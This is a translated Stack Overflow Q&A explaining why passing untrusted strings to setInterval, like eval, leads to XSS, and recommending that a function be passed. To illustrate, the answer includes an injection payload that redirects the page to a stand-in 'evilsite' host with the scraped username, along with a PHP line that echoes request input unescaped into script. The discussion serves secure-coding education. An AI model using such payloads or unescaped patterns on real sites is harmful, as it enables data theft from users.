【问题标题】:Why is setInterval not safe from XSS?为什么 setInterval 对 XSS 不安全?
【发布时间】:2020-07-13 09:08:32
【问题描述】:

我正在处理OWASP Cross Site Scripting Prevent Cheat Sheet。在规则 #3 中它说:

请注意,有些 JavaScript 函数永远无法安全地使用不受信任的数据作为输入 - 即使 JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

澄清一下:

  1. 我知道使用setInterval 等。 您的自己的内容是安全的。
  2. 我知道必须验证、转义和/或清理外部内容。

我的理解是,第 3 条规则在某种程度上暗示,如果您使用 setInterval,攻击者可以绕过您能想到的任何 XSS 过滤器。

你有一个例子来说明它们的含义吗?使用setInterval 将永远无法避免哪种 XSS 攻击?

这里有一个类似的问题:.setinterval and XSS 不幸的是,答案对我没有帮助。

【问题讨论】:

  • setInterval(userInput, 1000) 其中userInput = "alert('XSS')"
  • setInterval 在传递字符串时与eval 没有任何不同...
  • @customcommander 如果您使用您选择在某些输入上使用eval 的字符串调用setInterval。如果该输入来自用户,则您选择在您的应用程序中运行用户想要的任何代码。用户输入从不值得信任并且总是被认为是不安全的。由于您还被选为始终将其视为可运行代码,因此没有任何转义可以保护您 - 您已经委托自己始终处于防御状态。您插入一个安全漏洞,攻击者可以利用另一个漏洞。你只是在做出反应,永远不会完全覆盖。
  • "即使 JAVASCRIPT ESCAPED" 为假。当然,可以正确地转义用户输入以用作传递给setIntervaleval 的代码sn-ps 中的数据。很难正确地做到这一点,而且大多是无用的。 (当然,将用户输入用作代码本身绝不是一个好主意)。
  • @Bergi 我会说,足够转义以在eval 中运行的用户输入不值得在eval 中运行,因为您很可能暴露了非常有限的功能 - 足以能够准备用户可以选择的功能,而不必作为代码输入。实际的“选择”可能是一个字符串的形式,该字符串被标记/解析以便调用正确的功能,但仍然。

标签: javascript security xss


【解决方案1】:

先介绍一下背景:

转义以防御 XSS 涉及添加适当的转义字符,这样流氓数据就不会从您放置的任何位置泄露出来并被评估为 JavaScript。

例如给定用户输入xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '

如果您使用服务器端代码将其插入到字符串文字中:

const userinput = '<?php echo $_GET("userinput"); ?>'

你会得到:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

然后' 会从 JS 中的字符串文字中分离出来,窃取用户名,并将其发送到攻击者的网站。 (比用户名更糟糕的事情可能会被盗。

转义旨在防止数据像这样从字符串文字中分离出来:

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

所以攻击代码只是成为字符串的一部分,而不是评估作为原始代码。


将字符串传递给setInterval(或setTimeoutnew Functioneval 等)的问题在于它们是旨在评估代码的函数

攻击者不需要突破字符串文字来执行他们的代码。它已经在发生了。


我的问题是关于为什么 setInterval 永远无法避免 XSS。

这不是你引用的警告所说的。它说它永远不能安全地使用不受信任的数据作为输入。如果您将自己的代码放在那里,那是非常安全的。当您评估某些用户输入时,您就会遇到问题。

无论如何,将字符串传递给setInterval 是个坏主意。调试难度大,速度相对较慢。

改为传递一个函数。你甚至可以安全地使用用户输入(因为它没有被评估为代码,它只是一个包含字符串的变量)。

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);

【讨论】:

  • 我知道你自己的代码是安全的;人们会用自己的代码对自己进行 XSS 攻击吗?我想有些人已经成功了 :-) 我只是想知道为什么不可能正确地转义外部代码以使其安全地执行 setInterval 等。我发现@Bergi 评论在这方面很有帮助。感谢您花时间写一个详尽的答案!它也很有用。
  • @customcommander "人们会用自己的代码进行 XSS 攻击吗?" 如果您使用的是 eval,那么问题就更大了也许您只是将用户暴露给他们自己(如果幸运的话),但这是一个等待发生的安全问题。明年您决定添加一些利用相同功能的东西,最终允许用户在其他用户的浏览器上运行代码。那你就麻烦了。让一个人自己运行代码并不难,“在这里复制/粘贴这个看看会发生什么”可以污染低技术用户的整个会话。
  • @customcommander 您可能最终也会在用户 B 的环境中无意中运行来自用户 A 的代码 - 例如,通过书签,或加载用户 B 保存的内容或许多其他内容。 eval 让您永远处于防御状态 - 您不仅必须始终确保您没有在 现在 运行错误的代码,而且要永远确保在未来永远如此。一个原本无辜的重构或更改最终可能会暴露安全问题。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2019-10-27
  • 2019-03-11
  • 2019-06-11
  • 2014-12-04
  • 2010-10-26
  • 2019-04-03
  • 1970-01-01
相关资源
最近更新 更多